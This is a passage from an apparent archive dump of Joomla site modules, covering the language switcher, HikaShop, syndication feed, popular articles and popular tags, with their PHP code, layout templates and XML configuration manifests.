		<option dir=<?php echo $language->rtl ? '"rtl"' : '"ltr"'; ?> value="<?php echo htmlspecialchars_decode(htmlspecialchars($language->link, ENT_QUOTES, 'UTF-8'), ENT_NOQUOTES); ?>" <?php echo $language->active ? 'selected="selected"' : ''; ?>>
		<?php echo $language->title_native; ?></option>
	<?php endforeach; ?>
	</select>
	</form>
<?php elseif ($params->get('dropdown', 0) && $params->get('dropdownimage', 1)) : ?>
	<div class="btn-group">
		<?php foreach ($list as $language) : ?>
			<?php if ($language->active) : ?>
				<a href="#" data-toggle="dropdown" class="btn dropdown-toggle">
					<span class="caret"></span>
					<?php if ($language->image) : ?>
						&nbsp;<?php echo JHtml::_('image', 'mod_languages/' . $language->image . '.gif', '', null, true); ?>
					<?php endif; ?>
					<?php echo $language->title_native; ?>
				</a>
			<?php endif; ?>
		<?php endforeach; ?>
		<ul class="<?php echo $params->get('lineheight', 0) ? 'lang-block' : 'lang-inline'; ?> dropdown-menu" dir="<?php echo JFactory::getLanguage()->isRtl() ? 'rtl' : 'ltr'; ?>">
		<?php foreach ($list as $language) : ?>
			<?php if (!$language->active) : ?>
				<li>
				<a href="<?php echo htmlspecialchars_decode(htmlspecialchars($language->link, ENT_QUOTES, 'UTF-8'), ENT_NOQUOTES); ?>">
					<?php if ($language->image) : ?>
						<?php echo JHtml::_('image', 'mod_languages/' . $language->image . '.gif', '', null, true); ?>
					<?php endif; ?>
				<?php echo $language->title_native; ?>
				</a>
				</li>
			<?php elseif ($params->get('show_active', 1)) : ?>
				<?php $base = JUri::getInstance(); ?>
				<li class="lang-active">
				<a href="<?php echo htmlspecialchars_decode(htmlspecialchars($base, ENT_QUOTES, 'UTF-8'), ENT_NOQUOTES); ?>">
					<?php if ($language->image) : ?>
						<?php echo JHtml::_('image', 'mod_languages/' . $language->image . '.gif', '', null, true); ?>
					<?php endif; ?>
				<?php echo $language->title_native; ?>
				</a>
				</li>
			<?php endif; ?>
		<?php endforeach; ?>
		</ul>
	</div>
<?php else : ?>
	<ul class="<?php echo $params->get('inline', 1) ? 'lang-inline' : 'lang-block'; ?>" dir="<?php echo JFactory::getLanguage()->isRtl() ? 'rtl' : 'ltr'; ?>">
	<?php foreach ($list as $language) : ?>
		<?php if (!$language->active) : ?>
			<li>
			<a href="<?php echo htmlspecialchars_decode(htmlspecialchars($language->link, ENT_QUOTES, 'UTF-8'), ENT_NOQUOTES); ?>">
			<?php if ($params->get('image', 1)) : ?>
				<?php if ($language->image) : ?>
					<?php echo JHtml::_('image', 'mod_languages/' . $language->image . '.gif', $language->title_native, array('title' => $language->title_native), true); ?>
				<?php else : ?>
					<span class="label"><?php echo strtoupper($language->sef); ?></span>
				<?php endif; ?>
			<?php else : ?>
				<?php echo $params->get('full_name', 1) ? $language->title_native : strtoupper($language->sef); ?>
			<?php endif; ?>
			</a>
			</li>
		<?php elseif ($params->get('show_active', 1)) : ?>
			<?php $base = JUri::getInstance(); ?>
			<li class="lang-active">
			<a href="<?php echo htmlspecialchars_decode(htmlspecialchars($base, ENT_QUOTES, 'UTF-8'), ENT_NOQUOTES); ?>">
			<?php if ($params->get('image', 1)) : ?>
				<?php if ($language->image) : ?>
					<?php echo JHtml::_('image', 'mod_languages/' . $language->image . '.gif', $language->title_native, array('title' => $language->title_native), true); ?>
				<?php else : ?>
					<span class="label"><?php echo strtoupper($language->sef); ?></span>
				<?php endif; ?>
			<?php else : ?>
				<?php echo $params->get('full_name', 1) ? $language->title_native : strtoupper($language->sef); ?>
			<?php endif; ?>
			</a>
			</li>
		<?php endif; ?>
	<?php endforeach; ?>
	</ul>
<?php endif; ?>

<?php if ($footerText) : ?>
	<div class="posttext"><p><?php echo $footerText; ?></p></div>
<?php endif; ?>
</div>
mod_languages/mod_languages.php000064400000001305150746134710012676 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_languages
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the languages functions only once
JLoader::register('ModLanguagesHelper', __DIR__ . '/helper.php');

$headerText      = $params->get('header_text');
$footerText      = $params->get('footer_text');
$list            = ModLanguagesHelper::getList($params);
$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx', ''), ENT_COMPAT, 'UTF-8');

require JModuleHelper::getLayoutPath('mod_languages', $params->get('layout', 'default'));
mod_languages/mod_languages.xml000064400000011122150746134710012705 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
	<name>mod_languages</name>
	<author>Joomla! Project</author>
	<creationDate>February 2010</creationDate>
	<copyright>(C) 2010 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.5.0</version>
	<description>MOD_LANGUAGES_XML_DESCRIPTION</description>
	<files>
		<filename module="mod_languages">mod_languages.php</filename>
		<folder>tmpl</folder>
		<filename>helper.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.mod_languages.ini</language>
		<language tag="en-GB">en-GB.mod_languages.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_LANGUAGE_SWITCHER" />
	<config>
		<fieldset>
			<field
				name="language"
				type="list"
				label="JFIELD_LANGUAGE_LABEL"
				description="JFIELD_MODULE_LANGUAGE_DESC"
				>
				<option value="*">JALL</option>
			</field>
		</fieldset>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="header_text"
					type="textarea"
					label="MOD_LANGUAGES_FIELD_HEADER_LABEL"
					description="MOD_LANGUAGES_FIELD_HEADER_DESC"
					filter="safehtml"
					rows="3"
					cols="40"
				/>

				<field
					name="footer_text"
					type="textarea"
					label="MOD_LANGUAGES_FIELD_FOOTER_LABEL"
					description="MOD_LANGUAGES_FIELD_FOOTER_DESC"
					filter="safehtml"
					rows="3"
					cols="40"
				/>

				<field
					name="dropdown"
					type="radio"
					label="MOD_LANGUAGES_FIELD_DROPDOWN_LABEL"
					description="MOD_LANGUAGES_FIELD_DROPDOWN_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="dropdownimage"
					type="radio"
					label="MOD_LANGUAGES_FIELD_DROPDOWN_IMAGE_LABEL"
					description="MOD_LANGUAGES_FIELD_DROPDOWN_IMAGE_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					showon="dropdown:1"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="lineheight"
					type="radio"
					label="MOD_LANGUAGES_FIELD_LINEHEIGHT_LABEL"
					description="MOD_LANGUAGES_FIELD_LINEHEIGHT_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					showon="dropdown:1[AND]dropdownimage:1"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="image"
					type="radio"
					label="MOD_LANGUAGES_FIELD_USEIMAGE_LABEL"
					description="MOD_LANGUAGES_FIELD_USEIMAGE_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					showon="dropdown:0"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="spacer3"
					type="spacer"
					label="MOD_LANGUAGES_SPACER_USENAME_LABEL"
					class="text"
					showon="image:0[AND]dropdown:0"
				/>

				<field
					name="show_active"
					type="radio"
					label="MOD_LANGUAGES_FIELD_ACTIVE_LABEL"
					description="MOD_LANGUAGES_FIELD_ACTIVE_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					showon="dropdownimage:1[OR]dropdown:0"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="full_name"
					type="radio"
					label="MOD_LANGUAGES_FIELD_FULL_NAME_LABEL"
					description="MOD_LANGUAGES_FIELD_FULL_NAME_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					showon="dropdown:0[AND]image:0"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="inline"
					type="radio"
					label="MOD_LANGUAGES_FIELD_INLINE_LABEL"
					description="MOD_LANGUAGES_FIELD_INLINE_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					showon="dropdown:0"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="MOD_LANGUAGES_FIELD_MODULE_LAYOUT_DESC"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
					rows="3"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
mod_hikashop/mod_hikashop.php000064400000004511150746134710012400 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
if(!defined('DS'))
	define('DS', DIRECTORY_SEPARATOR);
if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php')){
	echo 'This module can not work without the Hikashop Component';
	return;
};
$js ='';
$params->set('show_limit',0);
$params->set('from_module',$module->id);
hikashop_initModule();
$config = hikashop_config();
$key_name = 'params_'.$module->id;
$module_options = $config->get($key_name);
if(empty($module_options)){
	$module_options = $config->get('default_params');
}

$data = $params->get('hikashopmodule');
if(HIKASHOP_J30 && (empty($data) || !is_object($data))){
	$db = JFactory::getDBO();
	$query = 'SELECT params FROM '.hikashop_table('modules',false).' WHERE id = '.(int)$module->id;
	$db->setQuery($query);
	$itemData = json_decode($db->loadResult());
	if(!empty($itemData->hikashopmodule) && is_object($itemData->hikashopmodule)){
		$data = $itemData->hikashopmodule;
		$params->set('hikashopmodule',$data);
	}
}
if(!empty($data) && is_object($data)){
	foreach($data as $k => $v){
		$module_options[$k] = $v;
	}
}

$type = $module_options['content_type'];
if($type=='manufacturer') $type = 'category';

if(empty($module_options['itemid']) && $type=='category' && !hikaInput::get()->getVar('hikashop_front_end_main')){
	$module_options['content_synchronize']=0;
	$menu = hikashop_get('class.menus');
	$menu->createMenu($module_options,$module->id);

	$configData=new stdClass();
	$configData->$key_name = $module_options;
	$config->save($configData);
}
foreach($module_options as $key => $option){
	if($key !='moduleclass_sfx'){
		$params->set($key,$option);
	}
}
$moduleClass = hikashop_get('class.modules');
$moduleClass->loadParams($module);
foreach(get_object_vars($module) as $k => $v){
	if(!is_object($v) && $params->get($k,null)==null){
		$params->set($k,$v);
	}
}

if($moduleClass->restrictedModule($params) === false)
	return;

$html = trim(hikashop_getLayout($type,'listing',$params,$js));
require(JModuleHelper::getLayoutPath('mod_hikashop'));
mod_hikashop/mod_hikashop.xml000064400000003067150746134710012416 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="2.5" method="upgrade">
	<name>Hikashop Module</name>
	<creationDate>29 avril 2022</creationDate>
	<version>4.5.1</version>
	<author>Hikari Software</author>
	<authorEmail>dev@hikashop.com</authorEmail>
	<authorUrl>http://www.hikashop.com</authorUrl>
	<copyright>(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
	<description>Content display for Hikashop</description>
	<files>
		<filename module="mod_hikashop">mod_hikashop.php</filename>
		<filename>index.html</filename>
		<folder>tmpl</folder>
	</files>
	<params addpath="/components/com_hikashop/params">
		<param name="moduleclass_sfx" type="text" default="" label="Module Class Suffix" description="PARAMMODULECLASSSUFFIX" />
		<param name="hikashopmodule" type="hikashopmodule" default="module" label="hikashop" description="HikaShop options" />
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_hikashop/fields">
			<fieldset name="basic">
				<field
					name="moduleclass_sfx"
					type="text"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC" />
			</fieldset>
			<fieldset name="hk_options" label="Hikashop Options">
				<field
					id="hikashopmodule"
					name="hikashopmodule"
					multiple="true"
					type="hikashopmodule"
					label="HikaShop"
					description="HikaShop options"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
mod_hikashop/tmpl/index.html000064400000000054150746134710012171 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_hikashop/tmpl/default.php000064400000001032150746134710012326 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php if(!empty($html)){ ?>
<div id="hikashop_module_<?php echo $module->id;?>" class="hikashop_module <?php echo (!empty($module->params) && is_array($module->params) ? @$module->params['moduleclass_sfx'] : ''); ?>">
<?php echo $html; ?>
</div>
<?php } ?>
mod_hikashop/index.html000064400000000054150746134710011215 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_syndicate/src/Helper/SyndicateHelper.php000060400000001765150746134710015205 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_syndicate
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\Syndicate\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Document\HtmlDocument;
use Joomla\Registry\Registry;
use Joomla\Utilities\ArrayHelper;

/**
 * Helper for mod_syndicate
 *
 * @since  1.5
 */
class SyndicateHelper
{
	/**
	 * Gets the link
	 *
	 * @param   Registry      $params    The module parameters
	 * @param   HtmlDocument  $document  The document
	 *
	 * @return  string|null  The link as a string, if found
	 *
	 * @since   1.5
	 */
	public static function getLink(Registry $params, HtmlDocument $document)
	{
		foreach ($document->_links as $link => $value)
		{
			$value = ArrayHelper::toString($value);

			if (strpos($value, 'application/' . $params->get('format') . '+xml'))
			{
				return $link;
			}
		}

		return null;
	}
}
mod_syndicate/mod_syndicate.php000064400000001361150746134710012732 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_syndicate
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the syndicate functions only once
JLoader::register('ModSyndicateHelper', __DIR__ . '/helper.php');

$params->def('format', 'rss');

$link = ModSyndicateHelper::getLink($params);

if ($link === null)
{
	return;
}

$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx', ''), ENT_COMPAT, 'UTF-8');
$text            = htmlspecialchars($params->get('text', ''), ENT_COMPAT, 'UTF-8');

require JModuleHelper::getLayoutPath('mod_syndicate', $params->get('layout', 'default'));
mod_syndicate/mod_syndicate.xml000064400000004262150746134710012746 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
	<name>mod_syndicate</name>
	<author>Joomla! Project</author>
	<creationDate>May 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_SYNDICATE_XML_DESCRIPTION</description>
	<files>
		<filename module="mod_syndicate">mod_syndicate.php</filename>
		<folder>tmpl</folder>
		<filename>helper.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.mod_syndicate.ini</language>
		<language tag="en-GB">en-GB.mod_syndicate.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_SYNDICATION_FEEDS" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="display_text"
					type="radio"
					label="MOD_SYNDICATE_FIELD_DISPLAYTEXT_LABEL"
					description="MOD_SYNDICATE_FIELD_DISPLAYTEXT_DESC"
					default="1"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="text"
					type="text"
					label="MOD_SYNDICATE_FIELD_TEXT_LABEL"
					description="MOD_SYNDICATE_FIELD_TEXT_DESC"
					showon="display_text:1"
				/>

				<field
					name="format"
					type="list"
					label="MOD_SYNDICATE_FIELD_FORMAT_LABEL"
					description="MOD_SYNDICATE_FIELD_FORMAT_DESC"
					default="rss"
					>
					<option value="rss">MOD_SYNDICATE_FIELD_VALUE_RSS</option>
					<option value="atom">MOD_SYNDICATE_FIELD_VALUE_ATOM</option>
				</field>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
					rows="3"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
mod_syndicate/tmpl/default.php000064400000001275150746134710012514 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_syndicate
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<a href="<?php echo $link; ?>" class="syndicate-module<?php echo $moduleclass_sfx; ?>">
	<?php echo JHtml::_('image', 'system/livemarks.png', 'feed-image', null, true); ?>
	<?php if ($params->get('display_text', 1)) : ?>
		<span>
		<?php if (str_replace(' ', '', $text) !== '') : ?>
			<?php echo $text; ?>
		<?php else : ?>
			<?php echo JText::_('MOD_SYNDICATE_DEFAULT_FEED_ENTRIES'); ?>
		<?php endif; ?>
		</span>
	<?php endif; ?>
</a>
mod_articles_popular/src/Helper/ArticlesPopularHelper.php000060400000006135150746134710017754 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_popular
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\ArticlesPopular\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Access\Access;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Router\Route;
use Joomla\Component\Content\Administrator\Extension\ContentComponent;
use Joomla\Component\Content\Site\Helper\RouteHelper;

/**
 * Helper for mod_articles_popular
 *
 * @since  1.6
 */
abstract class ArticlesPopularHelper
{
	/**
	 * Get a list of popular articles from the articles model
	 *
	 * @param   \Joomla\Registry\Registry  &$params  object holding the models parameters
	 *
	 * @return  mixed
	 */
	public static function getList(&$params)
	{
		$app = Factory::getApplication();

		// Get an instance of the generic articles model
		$model = $app->bootComponent('com_content')
			->getMVCFactory()->createModel('Articles', 'Site', ['ignore_request' => true]);

		// Set application parameters in model
		$appParams = $app->getParams();
		$model->setState('params', $appParams);

		$model->setState('list.start', 0);
		$model->setState('filter.published', ContentComponent::CONDITION_PUBLISHED);

		// Set the filters based on the module params
		$model->setState('list.limit', (int) $params->get('count', 5));
		$model->setState('filter.featured', $params->get('show_front', 1) == 1 ? 'show' : 'hide');

		// This module does not use tags data
		$model->setState('load_tags', false);

		// Access filter
		$access = !ComponentHelper::getParams('com_content')->get('show_noauth');
		$authorised = Access::getAuthorisedViewLevels(Factory::getUser()->get('id'));
		$model->setState('filter.access', $access);

		// Category filter
		$model->setState('filter.category_id', $params->get('catid', []));

		// Date filter
		$date_filtering = $params->get('date_filtering', 'off');

		if ($date_filtering !== 'off')
		{
			$model->setState('filter.date_filtering', $date_filtering);
			$model->setState('filter.date_field', $params->get('date_field', 'a.created'));
			$model->setState('filter.start_date_range', $params->get('start_date_range', '1000-01-01 00:00:00'));
			$model->setState('filter.end_date_range', $params->get('end_date_range', '9999-12-31 23:59:59'));
			$model->setState('filter.relative_date', $params->get('relative_date', 30));
		}

		// Filter by language
		$model->setState('filter.language', $app->getLanguageFilter());

		// Ordering
		$model->setState('list.ordering', 'a.hits');
		$model->setState('list.direction', 'DESC');

		$items = $model->getItems();

		foreach ($items as &$item)
		{
			$item->slug = $item->id . ':' . $item->alias;

			if ($access || \in_array($item->access, $authorised))
			{
				// We know that user has the privilege to view the article
				$item->link = Route::_(RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language));
			}
			else
			{
				$item->link = Route::_('index.php?option=com_users&view=login');
			}
		}

		return $items;
	}
}
mod_articles_popular/mod_articles_popular.php000064400000001162150746134710015703 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_popular
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the popular functions only once
JLoader::register('ModArticlesPopularHelper', __DIR__ . '/helper.php');

$list = ModArticlesPopularHelper::getList($params);
$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx', ''), ENT_COMPAT, 'UTF-8');

require JModuleHelper::getLayoutPath('mod_articles_popular', $params->get('layout', 'default'));
mod_articles_popular/mod_articles_popular.xml000064400000011031150746134720015711 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
	<name>mod_articles_popular</name>
	<author>Joomla! Project</author>
	<creationDate>July 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_POPULAR_XML_DESCRIPTION</description>
	<files>
		<filename module="mod_articles_popular">mod_articles_popular.php</filename>
		<folder>tmpl</folder>
		<filename>helper.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.mod_articles_popular.ini</language>
		<language tag="en-GB">en-GB.mod_articles_popular.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_MOST_READ" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="catid"
					type="category"
					label="JCATEGORY"
					description="MOD_POPULAR_FIELD_CATEGORY_DESC"
					extension="com_content"
					multiple="true"
					filter="int_array"
				/>

				<field
					name="count"
					type="number"
					label="MOD_POPULAR_FIELD_COUNT_LABEL"
					description="MOD_POPULAR_FIELD_COUNT_DESC"
					default="5"
					filter="integer"
				/>

				<field
					name="show_front"
					type="radio"
					label="MOD_POPULAR_FIELD_FEATURED_LABEL"
					description="MOD_POPULAR_FIELD_FEATURED_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>

				<field
					name="basicspacer1"
					type="spacer"
					hr="true"
				/>

				<field
					name="date_filtering"
					type="list"
					label="MOD_POPULAR_FIELD_DATEFILTERING_LABEL"
					description="MOD_POPULAR_FIELD_DATEFILTERING_DESC"
					default="off"
					validate="options"
					>
					<option value="off">MOD_POPULAR_OPTION_OFF_VALUE</option>
					<option value="range">MOD_POPULAR_OPTION_DATERANGE_VALUE</option>
					<option value="relative">MOD_POPULAR_OPTION_RELATIVEDAY_VALUE</option>
				</field>

				<field
					name="date_field"
					type="list"
					label="MOD_POPULAR_FIELD_DATEFIELD_LABEL"
					description="MOD_POPULAR_FIELD_DATEFIELD_DESC"
					default="a.created"
					showon="date_filtering:range,relative"
					validate="options"
					>
					<option value="a.created">MOD_POPULAR_OPTION_CREATED_VALUE</option>
					<option value="a.modified">MOD_POPULAR_OPTION_MODIFIED_VALUE</option>
					<option value="a.publish_up">MOD_POPULAR_OPTION_STARTPUBLISHING_VALUE</option>
				</field>

				<field
					name="start_date_range"
					type="calendar"
					label="MOD_POPULAR_FIELD_STARTDATE_LABEL"
					description="MOD_POPULAR_FIELD_STARTDATE_DESC"
					translateformat="true"
					showtime="true"
					size="22"
					filter="user_utc"
					showon="date_filtering:range"
				/>

				<field
					name="end_date_range"
					type="calendar"
					label="MOD_POPULAR_FIELD_ENDDATE_LABEL"
					description="MOD_POPULAR_FIELD_ENDDATE_DESC"
					translateformat="true"
					showtime="true"
					size="22"
					filter="user_utc"
					showon="date_filtering:range"
				/>

				<field
					name="relative_date"
					type="number"
					label="MOD_POPULAR_FIELD_RELATIVEDATE_LABEL"
					description="MOD_POPULAR_FIELD_RELATIVEDATE_DESC"
					default="30"
					filter="integer"
					showon="date_filtering:relative"
				/>
			</fieldset>

			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
					rows="3"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					description="COM_MODULES_FIELD_CACHING_DESC"
					default="1"
					filter="integer"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					description="COM_MODULES_FIELD_CACHE_TIME_DESC"
					default="900"
					filter="integer"
				/>

				<field
					name="cachemode"
					type="hidden"
					default="static"
					>
					<option value="static"></option>
				</field>

			</fieldset>
		</fields>
	</config>
</extension>
mod_articles_popular/tmpl/default.php000064400000001110150746134720014066 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_popular
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<ul class="mostread<?php echo $moduleclass_sfx; ?> mod-list">
<?php foreach ($list as $item) : ?>
	<li itemscope itemtype="https://schema.org/Article">
		<a href="<?php echo $item->link; ?>" itemprop="url">
			<span itemprop="name">
				<?php echo $item->title; ?>
			</span>
		</a>
	</li>
<?php endforeach; ?>
</ul>
mod_tags_popular/mod_tags_popular.xml000064400000011635150746134720014203 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
	<name>mod_tags_popular</name>
	<author>Joomla! Project</author>
	<creationDate>January 2013</creationDate>
	<copyright>(C) 2013 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.1.0</version>
	<description>MOD_TAGS_POPULAR_XML_DESCRIPTION</description>
	<files>
		<filename module="mod_tags_popular">mod_tags_popular.php</filename>
		<folder>tmpl</folder>
		<filename>helper.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.mod_tags_popular.ini</language>
		<language tag="en-GB">en-GB.mod_tags_popular.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_TAGS_POPULAR" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="parentTag"
					type="tag"
					label="MOD_TAGS_POPULAR_PARENT_TAG_LABEL"
					description="MOD_TAGS_POPULAR_PARENT_TAG_DESC"
					multiple="true"
					filter="int_array"
					mode="nested"
				/>

				<field
					name="maximum"
					type="integer"
					label="MOD_TAGS_POPULAR_MAX_LABEL"
					description="MOD_TAGS_POPULAR_MAX_DESC"
					default="5"
					filter="integer"
					first="1"
					last="20"
					step="1"
				/>

				<field
					name="timeframe"
					type="list"
					label="MOD_TAGS_POPULAR_FIELD_TIMEFRAME_LABEL"
					description="MOD_TAGS_POPULAR_FIELD_TIMEFRAME_DESC"
					default="alltime"
					validate="options"
					>
					<option value="alltime">MOD_TAGS_POPULAR_FIELD_ALL_TIME</option>
					<option value="hour">MOD_TAGS_POPULAR_FIELD_LAST_HOUR</option>
					<option value="day">MOD_TAGS_POPULAR_FIELD_LAST_DAY</option>
					<option value="week">MOD_TAGS_POPULAR_FIELD_LAST_WEEK</option>
					<option value="month">MOD_TAGS_POPULAR_FIELD_LAST_MONTH</option>
					<option value="year">MOD_TAGS_POPULAR_FIELD_LAST_YEAR</option>
				</field>

				<field
					name="order_value"
					type="list"
					label="MOD_TAGS_POPULAR_FIELD_ORDER_VALUE_LABEL"
					description="MOD_TAGS_POPULAR_FIELD_ORDER_VALUE_DESC"
					default="count"
					validate="options"
					>
					<option value="title">MOD_TAGS_POPULAR_FIELD_ORDER_VALUE_TITLE</option>
					<option value="count">MOD_TAGS_POPULAR_FIELD_ORDER_VALUE_COUNT</option>
					<option value="rand()">MOD_TAGS_POPULAR_FIELD_ORDER_VALUE_RANDOM</option>
				</field>

				<field
					name="order_direction"
					type="list"
					label="JGLOBAL_ORDER_DIRECTION_LABEL"
					description="JGLOBAL_ORDER_DIRECTION_DESC"
					default="1"
					filter="integer"
					>
					<option value="0">JGLOBAL_ORDER_ASCENDING</option>
